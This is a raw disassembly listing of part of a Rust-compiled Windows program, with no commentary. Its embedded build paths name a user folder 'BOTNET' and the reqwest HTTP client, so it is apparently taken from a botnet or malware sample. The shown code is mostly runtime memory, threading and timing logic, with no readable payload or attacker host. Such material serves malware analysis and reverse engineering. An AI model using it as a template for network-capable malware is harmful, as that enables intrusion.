mov rax, qword [rdi]
test rax, rax
je 0x140043800
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x140043824
cmp qword [rdi + 0x10], 0x11
jb 0x140043812
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0x670]
test rbx, rbx
je 0x140043a71
mov rcx, rbx
call fcn.1400ff4b0
lea rcx, [rbx + 8]
cmp qword [rbx], 0
je 0x140043a41
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140043a4f
call fcn.1400807d0
jmp 0x140043a4f
cmp rdi, 0x200
setae r15b
cmp qword [rbp + 0x678], 2
setne dil
movaps xmm0, xmmword [rbp + 0x870]
movaps xmm1, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x850], xmm1
movaps xmmword [rbp + 0x840], xmm0
mov rax, qword [rbp + 0x920]
mov qword [rbp + 0x1c0], rax
movdqa xmm0, xmmword [rbp + 0x900]
movdqa xmm1, xmmword [rbp + 0x910]
movdqa xmmword [rbp + 0x1b0], xmm1
movdqa xmmword [rbp + 0x1a0], xmm0
cmp r10, 0x7fff
ja 0x140044caa
movaps xmm0, xmmword [rbp + 0x870]
movaps xmm1, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x8a0], xmm1
movaps xmmword [rbp + 0x890], xmm0
movaps xmm0, xmmword [rbp + 0x900]
movaps xmm1, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x580], xmm0
movaps xmmword [rbp + 0x590], xmm1
mov rax, qword [rbp + 0x920]
mov qword [rbp + 0x5a0], rax
cmp r10, qword [rbp + 0x690]
jne 0x14004394b
lea rcx, [rbp + 0x690]
mov esi, r9d
mov r14, r10
call fcn.1400704b0
mov r10, r14
mov r9d, esi
mov r8, qword [rbp + 0x698]
mov r13, qword [rbp + 0x6c0]
mov r14, qword [rbp + 0x6c8]
and r15b, dil
imul rax, r10, 0x68
mov qword [r8 + rax], 0
movaps xmm0, xmmword [rbp + 0x580]
movaps xmm1, xmmword [rbp + 0x590]
movups xmmword [r8 + rax + 0x18], xmm0
movups xmmword [r8 + rax + 0x28], xmm1
mov rcx, qword [rbp + 0x5a0]
mov qword [r8 + rax + 0x38], rcx
movdqa xmm0, xmmword [rbp + 0x890]
movdqa xmm1, xmmword [rbp + 0x8a0]
movdqu xmmword [r8 + rax + 0x40], xmm0
movdqu xmmword [r8 + rax + 0x50], xmm1
mov word [r8 + rax + 0x60], r9w
lea rax, [r10 + 1]
mov qword [rbp + 0x6a0], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, rbx
mov ebx, 0
cmp rcx, r14
jae 0x1400439c0
movzx edx, word [r13 + rcx*4]
cmp dx, 0xffff
je 0x1400439fc
inc rax
movzx r8d, word [r13 + rcx*4 + 2]
mov word [r13 + rcx*4], r10w
mov word [r13 + rcx*4 + 2], r9w
inc rcx
mov r9d, r8d
mov r10d, edx
mov rbx, rcx
jmp 0x1400439c0
mov word [r13 + rcx*4], r10w
mov word [r13 + rcx*4 + 2], r9w
mov rcx, qword [rbp + 0x678]
test rcx, rcx
mov edx, 1
cmovne rdx, rcx
cmp rax, 0x7f
cmova rcx, rdx
test r15b, r15b
cmovne rcx, rdx
mov qword [rbp + 0x678], rcx
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x650]
jmp 0x140042eba
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140043a4f
call fcn.140080710
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x140043a5f
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x650], 1
mov qword [rbp + 0x658], rsi
mov qword [rbp + 0x660], r13
mov qword [rbp + 0x668], r15
mov qword [rbp + 0x670], r12
mov eax, 1
mov qword [rbp + 0x930], rax
mov r15, qword [rbp + 0x630]
mov r13, qword [rbp + 0x838]
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x1a0]
mov r8d, 0x88
call fcn.140118560
mov rbx, qword [rbp + 0x6e0]
mov rdi, qword [rbp + 0x6e8]
mov eax, dword [rbp + 0x6f0]
mov dword [rbp + 0x8fc], eax
mov eax, dword [rbp + 0x6f4]
mov dword [rbp + 0x8f8], eax
mov eax, dword [rbp + 0x6f8]
mov dword [rbp + 0x8f4], eax
mov eax, dword [rbp + 0x6fc]
mov dword [rbp + 0x8f0], eax
movzx eax, word [rbp + 0x700]
mov word [rbp + 0x946], ax
movzx eax, word [rbp + 0x702]
mov word [rbp + 0x944], ax
mov eax, dword [rbp + 0x704]
mov dword [rbp + 0x8e8], eax
mov eax, dword [rbp + 0x708]
mov dword [rbp + 0x8c8], eax
mov eax, dword [rbp + 0x70c]
mov dword [rbp + 0x8c0], eax
mov eax, dword [rbp + 0x710]
mov dword [rbp + 0x8b8], eax
movzx eax, byte [rbp + 0x728]
mov byte [rbp + 0x570], al
mov eax, dword [rbp + 0x72c]
mov dword [rbp + 0x63b], eax
mov eax, dword [rbp + 0x729]
mov dword [rbp + 0x638], eax
mov eax, dword [rbp + 0x75c]
mov dword [rbp + 0x510], eax
mov rax, qword [rbp + 0x920]
mov qword [rbp + 0x190], rax
mov eax, dword [rbp + 0x714]
mov dword [rbp + 0x8ec], eax
movups xmm0, xmmword [rbp + 0x718]
movaps xmmword [rbp + 0x560], xmm0
movups xmm0, xmmword [rbp + 0x73c]
movups xmm1, xmmword [rbp + 0x74c]
movaps xmmword [rbp + 0x500], xmm1
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm0, xmmword [rbp + 0x900]
movaps xmm1, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x180], xmm1
movaps xmmword [rbp + 0x170], xmm0
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x8d8], rax
mov esi, dword [rbp + 0x738]
test rdi, rdi
je 0x140043c28
js 0x140044c57
movzx eax, byte [0x140196310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f0c90
test rax, rax
jne 0x140043c2d
mov ecx, 1
mov rdx, rdi
call fcn.140119070
mov eax, 1
mov qword [rbp + 0x648], rax
mov rcx, rax
mov qword [rbp + 0x578], rbx
mov rdx, rbx
mov r8, rdi
call fcn.140118560
movaps xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x610], xmm0
movzx eax, byte [rbp + 0x570]
mov byte [rbp + 0x620], al
mov dword [rbp + 0x8e0], esi
mov rax, qword [rbp + 0x8d8]
mov dword [rbp + 0x82c], esi
cmp esi, 0x3b9aca00
jne 0x140043c92
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0x8e0], eax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x628], rax
mov rbx, qword [rbp + 0xe8]
mov rsi, qword [rbx + 0x10]
test rsi, rsi
je 0x140044c27
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x1a0]
mov r8d, 0x88
call fcn.140118560
movaps xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x900], xmm0
movzx eax, byte [rbp + 0x570]
mov byte [rbp + 0x910], al
mov eax, dword [rbp + 0x638]
mov ecx, dword [rbp + 0x63b]
mov dword [rbp + 0x890], eax
mov dword [rbp + 0x893], ecx
movdqa xmm0, xmmword [rbp + 0x4f0]
movdqa xmm1, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmmword [rbp + 0x390], xmm1
mov eax, dword [rbp + 0x510]
mov dword [rbp + 0x3a0], eax
mov rax, qword [rsi + 0x1c0]
mov qword [rbp + 0x938], rdi
mov qword [rbp + 0x8d0], rbx
nop word [rax + rax]
test al, 1
jne 0x140043d9c
cmp rax, 0xfffffffffffffffe
je 0x140044d7c
lea rcx, [rax + 2]
lock cmpxchg qword [rsi + 0x1c0], rcx
jne 0x140043d40
mov qword [rbp + 0x4e8], r14
mov rbx, qword [rbx + 0x10]
mov edi, 1
lock xadd qword [rbx + 0x88], rdi
mov rsi, rdi
and rsi, 0xffffffffffffffe0
mov r14, qword [rbx + 0x80]
mov rax, rsi
sub rax, qword [r14 + 0x2300]
jne 0x140043f89
and edi, 0x1f
jmp 0x1400440eb
lea rcx, [rbp + 0x230]
lea rdx, [rbp + 0x650]
mov r8d, 0x88
call fcn.140118560
movaps xmm0, xmmword [rbp + 0x900]
movaps xmmword [rbp + 0x800], xmm0
movzx eax, byte [rbp + 0x910]
mov byte [rbp + 0x810], al
mov eax, dword [rbp + 0x890]
mov ecx, dword [rbp + 0x893]
mov dword [rbp + 0x840], eax
mov dword [rbp + 0x843], ecx
movdqa xmm0, xmmword [rbp + 0x380]
movdqa xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x580], xmm0
movdqa xmmword [rbp + 0x590], xmm1
mov eax, dword [rbp + 0x3a0]
mov dword [rbp + 0x5a0], eax
mov rax, qword [rbp + 0x930]
cmp rax, 2
je 0x1400442c8
mov qword [rbp + 0x650], rax
lea rcx, [rbp + 0x658]
lea rdx, [rbp + 0x230]
mov r8d, 0x88
call fcn.140118560
mov rax, qword [rbp + 0x578]
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x6e8], rdi
mov eax, dword [rbp + 0x8fc]
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x8f8]
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x8f4]
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x8f0]
mov dword [rbp + 0x6fc], eax
movzx eax, word [rbp + 0x946]
mov word [rbp + 0x700], ax
movzx eax, word [rbp + 0x944]
mov word [rbp + 0x702], ax
mov eax, dword [rbp + 0x8e8]
mov dword [rbp + 0x704], eax
mov eax, dword [rbp + 0x8c8]
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x8c0]
mov dword [rbp + 0x70c], eax
mov eax, dword [rbp + 0x8b8]
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x8ec]
mov dword [rbp + 0x714], eax
movaps xmm0, xmmword [rbp + 0x800]
movups xmmword [rbp + 0x718], xmm0
movzx eax, byte [rbp + 0x810]
mov byte [rbp + 0x728], al
mov eax, dword [rbp + 0x840]
mov dword [rbp + 0x729], eax
mov eax, dword [rbp + 0x843]
mov dword [rbp + 0x72c], eax
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x730], rax
mov eax, dword [rbp + 0x82c]
mov dword [rbp + 0x738], eax
mov eax, dword [rbp + 0x5a0]
mov dword [rbp + 0x75c], eax
movaps xmm0, xmmword [rbp + 0x580]
movaps xmm1, xmmword [rbp + 0x590]
movups xmmword [rbp + 0x73c], xmm0
movups xmmword [rbp + 0x74c], xmm1
mov qword [rbp + 0x760], r15
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.core_thread_panicked
lea r9, str._X_f_
lea r8, [rbp + 0x650]
mov edx, 0x14
call fcn.140119760
mov qword [rbp + 0x838], r13
mov qword [rbp + 0x630], r15
shr rax, 5
and edi, 0x1f
cmp rax, rdi
seta r13b
xorps xmm6, xmm6
jmp 0x140043fc2
xor r13d, r13d
pause
cmp qword [r14 + 0x2300], rsi
je 0x1400440dd
mov r15, r14
mov r14, qword [r14 + 0x2308]
test r14, r14
jne 0x140044080
mov r12, qword [r15 + 0x2300]
movzx eax, byte [0x140196310]
mov edx, 0x2320
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044b60
mov r14, rax
add r12, 0x20
mov qword [rax + 0x2300], r12
movups xmmword [rax + 0x2308], xmm6
mov qword [rax + 0x2318], 0
xor eax, eax
lock cmpxchg qword [r15 + 0x2308], r14
je 0x140044080
mov rcx, rax
mov rax, qword [rax + 0x2300]
add rax, 0x20
mov qword [r14 + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], r14
je 0x140044074
mov rdx, rax
nop word [rax + rax]
pause
mov rax, qword [rdx + 0x2300]
add rax, 0x20
mov qword [r14 + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rdx + 0x2308], r14
mov rdx, rax
jne 0x140044050
mov r14, rcx
nop word [rax + rax]
mov rax, qword [r15 + 0x2310]
cmp eax, 0xffffffff
sete al
test r13b, al
je 0x140043fb0
mov rax, r15
lock cmpxchg qword [rbx + 0x80], r14
jne 0x140043fb0
mfence
mov rax, qword [rbx + 0x88]
mov qword [r15 + 0x2318], rax
movabs rax, 0x100000000
lock or qword [r15 + 0x2310], rax
mov r13b, 1
pause
cmp qword [r14 + 0x2300], rsi
jne 0x140043fc2
mov r15, qword [rbp + 0x630]
mov r13, qword [rbp + 0x838]
imul rsi, rdi, 0x118
mov rax, qword [rbp + 0x930]
mov qword [r14 + rsi], rax
lea rcx, [r14 + rsi]
add rcx, 8
lea rdx, [rbp + 0x650]
mov r8d, 0x88
call fcn.140118560
mov rax, qword [rbp + 0x578]
mov qword [r14 + rsi + 0x90], rax
mov rax, qword [rbp + 0x938]
mov qword [r14 + rsi + 0x98], rax
mov eax, dword [rbp + 0x8fc]
mov dword [r14 + rsi + 0xa0], eax
mov eax, dword [rbp + 0x8f8]
mov dword [r14 + rsi + 0xa4], eax
mov eax, dword [rbp + 0x8f4]
mov dword [r14 + rsi + 0xa8], eax
mov eax, dword [rbp + 0x8f0]
mov dword [r14 + rsi + 0xac], eax
movzx eax, word [rbp + 0x946]
mov word [r14 + rsi + 0xb0], ax
movzx eax, word [rbp + 0x944]
mov word [r14 + rsi + 0xb2], ax
mov eax, dword [rbp + 0x8e8]
mov dword [r14 + rsi + 0xb4], eax
mov eax, dword [rbp + 0x8c8]
mov dword [r14 + rsi + 0xb8], eax
mov eax, dword [rbp + 0x8c0]
mov dword [r14 + rsi + 0xbc], eax
mov eax, dword [rbp + 0x8b8]
mov dword [r14 + rsi + 0xc0], eax
mov eax, dword [rbp + 0x8ec]
mov dword [r14 + rsi + 0xc4], eax
movaps xmm0, xmmword [rbp + 0x900]
movups xmmword [r14 + rsi + 0xc8], xmm0
movzx eax, byte [rbp + 0x910]
mov byte [r14 + rsi + 0xd8], al
mov eax, dword [rbp + 0x890]
mov ecx, dword [rbp + 0x893]
mov dword [r14 + rsi + 0xd9], eax
mov dword [r14 + rsi + 0xdc], ecx
mov rax, qword [rbp + 0x8d8]
mov qword [r14 + rsi + 0xe0], rax
mov eax, dword [rbp + 0x82c]
mov dword [r14 + rsi + 0xe8], eax
movdqa xmm0, xmmword [rbp + 0x380]
movdqa xmm1, xmmword [rbp + 0x390]
movdqu xmmword [r14 + rsi + 0xec], xmm0
movdqu xmmword [r14 + rsi + 0xfc], xmm1
mov eax, dword [rbp + 0x3a0]
mov dword [r14 + rsi + 0x10c], eax
mov qword [r14 + rsi + 0x110], r15
mov eax, 1
mov ecx, edi
shl rax, cl
lock or qword [r14 + 0x2310], rax
mov rax, qword [rbx + 0x110]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbx + 0x110], rcx
jne 0x140044280
test rax, rax
mov r14, qword [rbp + 0x4e8]
jne 0x1400442c8
mov rax, qword [rbx + 0x100]
mov rcx, qword [rbx + 0x108]
mov qword [rbx + 0x100], 0
lock and qword [rbx + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400442c8
call qword [rax + 8]
cmp r13, 2
jne 0x1400442e1
cmp dword [rbp + 0x8e0], 0x3b9aca00
jne 0x1400442fc
mov ebx, 0x3b9aca00
jmp 0x14004435d
cmp dword [rbp + 0x8e0], 0x3b9aca00
jne 0x14004438d
mov r12d, 0x3b9aca00
jmp 0x1400443f2
call fcn.1400f0ae0
mov rsi, rax
add rsi, qword [rbp + 0x628]
jb 0x140044c3f
mov ebx, edx
add ebx, dword [rbp + 0x8e0]
cmp ebx, 0x3b9aca00
jb 0x14004435d
cmp rsi, 0xffffffffffffffff
je 0x140044c3f
add ebx, 0xc4653600
inc rsi
cmp ebx, 0x3b9aca00
jb 0x14004435d
mov eax, ebx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add rsi, rax
jb 0x140044d18
imul eax, eax, 0x3b9aca00
sub ebx, eax
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xb8]
test eax, eax
je 0x140044429
cmp eax, 1
je 0x140044456
jmp 0x140044bd6
call fcn.1400f0ae0
add rax, qword [rbp + 0x628]
jb 0x140044c3f
mov r12d, edx
add r12d, dword [rbp + 0x8e0]
cmp r12d, 0x3b9aca00
jb 0x1400443f2
cmp rax, 0xffffffffffffffff
je 0x140044c3f
add r12d, 0xc4653600
inc rax
cmp r12d, 0x3b9aca00
jb 0x1400443f2
mov ecx, r12d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x140044d18
imul ecx, ecx, 0x3b9aca00
sub r12d, ecx
mov qword [rbp + 0x930], rax
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xb8]
test eax, eax
je 0x1400445ad
cmp eax, 1
je 0x1400445da
jmp 0x140044bd6
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xb0]
lea rdx, [0x1400e5c80]
call fcn.1400e5cb0
mov byte [rdi + 0xb8], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xb0]
test rdi, rdi
je 0x1400449ab
lock inc qword [rdi]
jle case.0x140045dfa.2
test rdi, rdi
je 0x140044bd6
movzx eax, byte [0x140196310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044bf7
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, case.0x1400cf68b.61
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x808], rcx
lea rax, [rbp + 0x800]
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], rax
mov qword [rbp + 0x590], 0
mov qword [rbp + 0x900], r15
lea rdi, [rbp + 0x908]
mov byte [rbp + 0x910], 0
mov eax, dword [rbp + 0x890]
mov ecx, dword [rbp + 0x893]
mov dword [rbp + 0x911], eax
mov dword [rbp + 0x914], ecx
cmp ebx, 0x3b9aca00
jne 0x140044720
mov rax, qword [rbp + 0x900]
mov qword [rbp + 0x908], rax
lea rcx, [rbp + 0x650]
lea r8, [rbp + 0x580]
mov rdx, rdi
call fcn.140086650
mov r13, qword [rbp + 0x650]
cmp r13, 5
jne 0x1400448c9
mov byte [rbp + 0x910], 3
lea rsi, [rbp + 0x650]
lea rbx, [rbp + 0x580]
nop word [rax + rax]
call fcn.1400e7d40
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.140086650
mov r13, qword [rbp + 0x650]
cmp r13, 5
jne 0x1400448c9
mov byte [rbp + 0x910], 3
jmp 0x140044580
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xb0]
lea rdx, [0x1400e5c80]
call fcn.1400e5cb0
mov byte [rsi + 0xb8], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xb0]
test rsi, rsi
je 0x1400449d9
lock inc qword [rsi]
jle case.0x140045dfa.2
test rsi, rsi
je 0x140044bd6
movzx eax, byte [0x140196310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044bf7
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, case.0x1400cf68b.61
mov qword [rbp + 0x538], rax
mov qword [rbp + 0x540], rcx
lea rax, [rbp + 0x538]
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x878], rax
mov qword [rbp + 0x880], 0
mov qword [rbp + 0x650], r15
movdqa xmm0, xmmword [rbp + 0x170]
movdqa xmm1, xmmword [rbp + 0x180]
movdqu xmmword [rbp + 0x658], xmm0
movdqu xmmword [rbp + 0x668], xmm1
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x688], rax
mov qword [rbp + 0x690], r13
mov qword [rbp + 0x698], r14
mov byte [rbp + 0x6a1], 0
lea rbx, [rbp + 0x6a2]
lea rdx, [rbp + 0x230]
mov r8d, 0x146
mov rcx, rbx
call fcn.140118560
lea r15, [rbp + 0x6a8]
lea rdi, [rbp + 0x6f0]
xor eax, eax
movzx eax, al
lea rcx, [0x14018a8bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbp + 0x900]
mov qword [rbp + 0x908], rax
lea rcx, [rbp + 0x650]
lea r8, [rbp + 0x580]
mov rdx, rdi
call fcn.140086650
mov r13, qword [rbp + 0x650]
cmp r13, 5
jne 0x1400448c9
mov byte [rbp + 0x910], 3
call fcn.1400f0ae0
mov r8d, edx
xor ecx, ecx
cmp rax, rsi
setne cl
mov r12d, 0xff
cmovb ecx, r12d
cmp edx, ebx
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jae 0x140044801
mov rcx, qword [rbp + 0x908]
mov r13d, 4
test rcx, rcx
je 0x140044998
mov rax, qword [rcx + 0x30]
mov rdi, qword [rbp + 0x938]
mov rbx, qword [rbp + 0x8d0]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x1400447b1
and eax, 0xa
cmp eax, 8
jne 0x1400447d3
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x908]
test rax, rax
je 0x140044993
lock dec qword [rax]
jne 0x140044993
mov rcx, qword [rbp + 0x908]
call fcn.140082160
xor r14d, r14d
jmp 0x140044973
mov qword [rbp + 0x650], rsi
mov dword [rbp + 0x658], ebx
lea r14, [rbp + 0x650]
mov rcx, r14
mov rdx, rax
call fcn.1400e6c50
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.1400e7eb0
lea r15, [rbp + 0x580]
mov rcx, r14
mov rdx, rdi
mov r8, r15
call fcn.140086650
mov r13, qword [rbp + 0x650]
cmp r13, 5
jne 0x1400448c9
mov byte [rbp + 0x910], 3
call fcn.1400f0ae0
mov r8d, edx
xor ecx, ecx
cmp rax, rsi
setne cl
cmovb ecx, r12d
cmp edx, ebx
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jb 0x140044789
mov qword [rbp + 0x650], rsi
mov dword [rbp + 0x658], ebx
mov rcx, r14
mov rdx, rax
call fcn.1400e6c50
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.1400e7eb0
jmp 0x140044843
mov r14, qword [rbp + 0x658]
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x230]
mov r8d, 0x88
call fcn.140118560
mov rcx, qword [rbp + 0x908]
test rcx, rcx
mov rdi, qword [rbp + 0x938]
mov rbx, qword [rbp + 0x8d0]
je 0x140044950
mov rax, qword [rcx + 0x30]
nop word [rax + rax]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140044910
and eax, 0xa
cmp eax, 8
jne 0x140044932
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x908]
test rax, rax
je 0x140044950
lock dec qword [rax]
jne 0x140044950
mov rcx, qword [rbp + 0x908]
call fcn.140082160
cmp r13d, 4
je 0x140046299
lea rcx, [rbp + 0x380]
lea rdx, [rbp + 0x230]
mov r8d, 0x88
call fcn.140118560
mov rax, qword [rbp + 0x800]
mov rcx, qword [rbp + 0x808]
call qword [rax + 0x18]
cmp r13d, 3
jne 0x14004604a
jmp 0x140046059
xor r14d, r14d
jmp 0x140044973
xor r14d, r14d
mov rdi, qword [rbp + 0x938]
mov rbx, qword [rbp + 0x8d0]
jmp 0x140044973
call fcn.140122e70
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xb0]
lock inc qword [rdi]
jg 0x140044483
jmp case.0x140045dfa.2
call fcn.140122e70
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xb0]
lock inc qword [rsi]
jg 0x140044607
jmp case.0x140045dfa.2
mov rsi, qword [rbp + 0x6b8]
cmp rsi, qword [rbp + 0x6a8]
jne 0x140044a1c
call fcn.1400703f0
mov rax, qword [rbp + 0x6b0]
lea rcx, [rsi + rsi*8]
mov qword [rax + rcx*8], 0
mov qword [rax + rcx*8 + 8], r15
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], r15
movdqa xmm0, xmmword [rbp + 0x580]
movdqa xmm1, xmmword [rbp + 0x590]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov rdx, qword [rbp + 0x5a0]
mov qword [rax + rcx*8 + 0x40], rdx
lea rax, [rsi + 1]
mov qword [rbp + 0x6b8], rax
mov qword [rdi], 1
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov rax, qword [rbp + 0x870]
test rax, rax
je 0x140043a31
lea rcx, [rbp + 0x888]
mov rdx, qword [rbp + 0x878]
mov r8, qword [rbp + 0x880]
call qword [rax + 0x10]
jmp 0x140043a31
add rcx, rdx
mov qword [rbp + 0x230], 0x1d
mov qword [rbp + 0x238], rsi
mov qword [rbp + 0x240], 0x1d
mov qword [rbp + 0x248], rcx
lea rax, [0x140161ca8]
mov qword [rsp + 0x20], rax
lea rcx, [0x140161c76]
lea r9, [0x1401551a0]
lea r8, [rbp + 0x230]
mov edx, 0x2f
call fcn.140119760
mov rax, qword [rbx + 0x40]
nop word [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140044b10
and eax, 0xa
cmp eax, 8
jne 0x140044b45
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
call qword [rax + 0x10]
lock dec qword [rbx]
je 0x140044b4b
mov rcx, rsi
call fcn.14004d8f0
call fcn.14011f8c0
lock dec qword [rbx]
jne 0x140044b38
mov rcx, rbx
call fcn.140081bb0
mov rcx, rsi
call fcn.14004d8f0
call fcn.14011f8c0
mov ecx, 8
mov edx, 0x2320
call fcn.140119090
lea rax, str.library_std_srcio_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_d9284afea99e0969a0e692b9e9fd61ea4ba21366library_std_src_threadlocal.rs
lea r9, [0x14015fc58]
lea r8, [rbp + 0x1a0]
mov edx, 0x46
call fcn.140119760
mov ecx, 0x80
mov edx, 0x200
call fcn.140119090
mov ecx, 8
mov edx, 0x48
call fcn.140119090
mov ecx, 1
mov edx, 0x1d
call fcn.140119070
mov ecx, 8
mov edx, 0x1c0
call fcn.140119090
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x14015c1d8]
mov edx, 0x5e
call fcn.140119880
add rcx, 0x10
call fcn.140122ff0
mov ecx, 8
mov edx, 0x18
call fcn.140119090
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
mov rdx, r10
call fcn.1401193e0
mov ecx, 8
mov edx, 0xd0
call fcn.140119090
lea rcx, [0x14015591d]
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rs
mov edx, 0x18
call fcn.140119880
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14015cd70]
mov edx, 0x28
call fcn.140119880
call fcn.1400066b0
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x140044cf4
lea rcx, [rbp + 0x918]
mov rax, qword [rbp + 0x900]
mov rdx, qword [rbp + 0x908]
mov r8, qword [rbp + 0x910]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x870]
test rax, rax
je 0x140044ced
lea rcx, [rbp + 0x888]
mov rdx, qword [rbp + 0x878]
mov r8, qword [rbp + 0x880]
jmp 0x140044cea
lea rcx, [rbp + 0x1b8]
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b0]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x840]
test rax, rax
je 0x140044ced
lea rcx, [rbp + 0x858]
mov rdx, qword [rbp + 0x848]
mov r8, qword [rbp + 0x850]
call qword [rax + 0x10]
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401553de]
lea r9, [0x140155180]
lea r8, [rbp + 0x1a0]
mov edx, 0x17
call fcn.140119760
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x650], rax
